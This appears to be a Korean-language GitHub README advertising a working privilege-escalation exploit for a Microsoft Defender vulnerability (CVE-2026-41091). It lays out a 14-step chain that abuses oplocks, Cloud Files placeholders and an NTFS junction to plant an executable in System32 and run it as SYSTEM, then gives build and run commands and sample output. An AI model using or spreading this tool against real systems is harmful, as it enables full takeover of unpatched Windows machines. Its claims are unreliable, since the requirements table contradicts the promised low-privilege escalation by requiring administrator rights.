CVE-2026-41091 RedSun | Microsoft Defender LPE 익스플로잇. 낮은 권한의 사용자가 Cloud Files API + NTFS 정션 트릭을 통해 NT AUTHORITY\SYSTEM 권한을 획득합니다 🔥. Defender가 SYSTEM 권한으로 System32에 악성 페이로드를 쓰도록 강제합니다. ⚠️ 실제 환경에서 활발히 악용 중. CVSS 7.8. 패치: Defender Engine 1.1.26040.8. 🛡️ 교육용 PoC 전용입니다.
Microsoft Defender 링크 추적 취약점 - NT AUTHORITY\SYSTEM으로의 로컬 권한 상승
이 저장소는 Microsoft Defender(Microsoft Malware Protection Engine)의 심각한 로컬 권한 상승 취약점인 CVE-2026-41091에 대한 완전히 동작하는 개념 증명(PoC) 익스플로잇을 포함합니다. 잘못된 링크 확인(CWE-59)을 악용하여, 인증된 낮은 권한의 공격자가 NT AUTHORITY\SYSTEM 권한을 획득할 수 있습니다.
"RedSun" 또는 **"SolarFlare"**로도 알려진 이 취약점은 공격자가 Cloud Files API(CfAPI)와 NTFS 접합 지점을 사용하여 Microsoft Defender를 속여 SYSTEM 권한으로 보호된 시스템 위치에 임의의 파일을 쓰게 할 수 있게 합니다.
참고: 이 저장소에는 두 가지 버전이 포함되어 있습니다:
basic_poc.cpp- 단순화된 알고리즘 데모(교육용)full_poc.cpp- 모든 기능을 갖춘 완전한 동작 익스플로잇
| 제품 | 영향받는 버전 | 수정 버전 |
|---|---|---|
| Microsoft Malware Protection Engine | < 1.1.26040.8 | 1.1.26040.8+ |
| Microsoft Defender Antimalware Platform | < 4.18.26040.7 | 4.18.26040.7+ |
┌─────────────────────────────────────────────────────────────────────────────┐
│ SOLARFLARE EXPLOIT CHAIN │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ 1. Create Working Directory │
│ └─> %TEMP%\SF-XXXX\ │
│ │
│ 2. Trigger Defender with EICAR │
│ └─> Write reversed EICAR to bait file │
│ │
│ 3. Wait for VSS Snapshot │
│ └─> Detect Volume Shadow Copy creation │
│ │
│ 4. Create First Batch Oplock │
│ └─> FSCTL_REQUEST_BATCH_OPLOCK on bait file │
│ │
│ 5. Wait for Oplock Break │
│ └─> Acquire exclusive access │
│ │
│ 6. Rename Directory │
│ └─> Move original directory to .tmp │
│ │
│ 7. Register Cloud Sync Root │
│ └─> CfRegisterSyncRoot with Cloud Files API │
│ │
│ 8. Create Cloud Placeholder │
│ └─> CfCreatePlaceholders for bait file │
│ │
│ 9. Create Second Batch Oplock │
│ └─> FSCTL_REQUEST_BATCH_OPLOCK on cloud placeholder │
│ │
│ 10. Wait for Second Oplock Break │
│ └─> Acquire exclusive access │
│ │
│ 11. Rename Cloud Directory │
│ └─> Move cloud directory to .cloud.tmp │
│ │
│ 12. Create NTFS Junction to System32 │
│ └─> Redirect to C:\Windows\System32 │
│ │
│ 13. Copy Payload to System32 │
│ └─> Copy bait file to System32 as TieringEngineService.exe │
│ │
│ 14. Activate Service as SYSTEM │
│ └─> CoCreateInstance(StorageTiersManagement) │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
# Clone the repository
git clone https://github.com/tc4dy/CVE-2026-41091-PoC-Exploit
cd CVE-2026-41091-PoC-Exploit
# Build using Visual Studio Developer Command Prompt
cl.exe /EHsc /std:c++17 full_poc.cpp /link cfapi.lib ntdll.lib
# Or build basic version
cl.exe /EHsc /std:c++17 basic_poc.cpp /link ntdll.lib
full_poc.exe
basic_poc.exe
CVE-2026-41091 SolarFlare PoC
===============================
by @tc4dy | CVSS 7.8
===============================
[*] SolarFlare exploit started.
[*] Creating working directory...
[+] Directory created: C:\Users\user\AppData\Local\Temp\SF-8427\
[*] Triggering Defender with EICAR...
[+] Defender triggered
[*] Waiting for VSS snapshot...
[+] VSS snapshot detected
[*] Creating first oplock...
[+] First oplock created
[*] Waiting for oplock break...
[+] Oplock acquired
[*] Renaming directory...
[+] Directory renamed
[*] Creating second oplock...
[+] Second oplock created
[*] Waiting for second oplock...
[+] Second oplock acquired
[*] Renaming cloud directory...
[+] Cloud directory renamed
[*] Creating NTFS junction to System32...
[+] Junction created
[*] Waiting for Defender to finish...
[*] Copying payload to System32...
[+] Payload copied to C:\Windows\System32\TieringEngineService.exe
[*] Activating Storage Tiers Management service...
[+] Service activated as SYSTEM
[+] SYSTEM access obtained!
CVE-2026-41091 Basic PoC
========================================
Algorithm Demonstration Only
========================================
[*] Starting exploit algorithm...
[*] Creating working directory...
[+] Directory created: C:\Users\user\AppData\Local\Temp\BE-3921\
[*] Triggering Defender with EICAR...
[+] Defender triggered
[*] Waiting for VSS snapshot...
[+] VSS detected
[*] Creating first oplock...
[+] First oplock created
[*] Waiting for oplock break...
[+] Oplock acquired
[*] Renaming directory...
[+] Directory renamed
[*] Creating second oplock...
[+] Second oplock created
[*] Waiting for second oplock...
[+] Second oplock acquired
[*] Creating NTFS junction to System32...
[+] Junction created
[*] Waiting for Defender to finish...
[*] Copying payload to System32...
[+] Payload copied to C:\Windows\System32\Payload.exe
[+] Algorithm demonstration completed!
[i] This is only the basic algorithm.
[i] For full SYSTEM privilege escalation,
[i] use full_poc.cpp with Cloud API and COM activation.
# Full exploit
cl.exe /EHsc /std:c++17 full_poc.cpp /link cfapi.lib ntdll.lib
# Basic PoC
cl.exe /EHsc /std:c++17 basic_poc.cpp /link ntdll.lib
cmake_minimum_required(VERSION 3.10)
project(SolarFlare)
set(CMAKE_CXX_STANDARD 17)
add_executable(full_poc full_poc.cpp)
target_link_libraries(full_poc cfapi ntdll)
add_executable(basic_poc basic_poc.cpp)
target_link_libraries(basic_poc ntdll)
제 다른 익스플로잇 저장소도 확인해 보세요:
| 범주 | 기능 |
|---|
| 악용 | ✅ SYSTEM으로의 로컬 권한 상승 ✅ Cloud Files API(CfAPI) 통합 ✅ 클라우드 자리 표시자 생성 ✅ NTFS 접합 지점 리디렉션 |
| 기법 | ✅ 배치 Oplock 남용 ✅ VSS 스냅샷 감지 ✅ EICAR 트리거 ✅ COM 서비스 활성화 |
| 대상 | ✅ Microsoft Defender < 1.1.26040.8 ✅ Windows 10/11 ✅ Windows Server 2019/2022 |
| 사용성 | ✅ 상세 로깅 ✅ 오류 처리 ✅ 임의 디렉터리 이름 ✅ 자동 정리 |
| 속성 | 값 |
|---|
| CVE ID | CVE-2026-41091 |
| CVSS 점수 | 7.8 (높음) |
| CVSS 벡터 | AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| 공격 벡터 | 로컬 |
| 필요한 권한 | 낮음 |
| 사용자 상호작용 | 없음 |
| 영향 | SYSTEM 수준 코드 실행 |
| CISA KEV | ✅ 예 (실제 환경에서 활발히 악용됨) |
| 패치 제공 | Microsoft Malware Protection Engine 1.1.26040.8 |
| 요구 사항 | 세부 사항 |
|---|
| OS | Windows 10/11, Server 2019/2022 |
| 권한 | 관리자(실행에 필요) |
| Defender | Microsoft Defender가 활성화되어 있어야 함 |
| 인터넷 | VSS 스냅샷 감지에 필요 |
| 패치 | 패치되지 않은 시스템에서만 동작 |
| 아키텍처 | x64 전용 |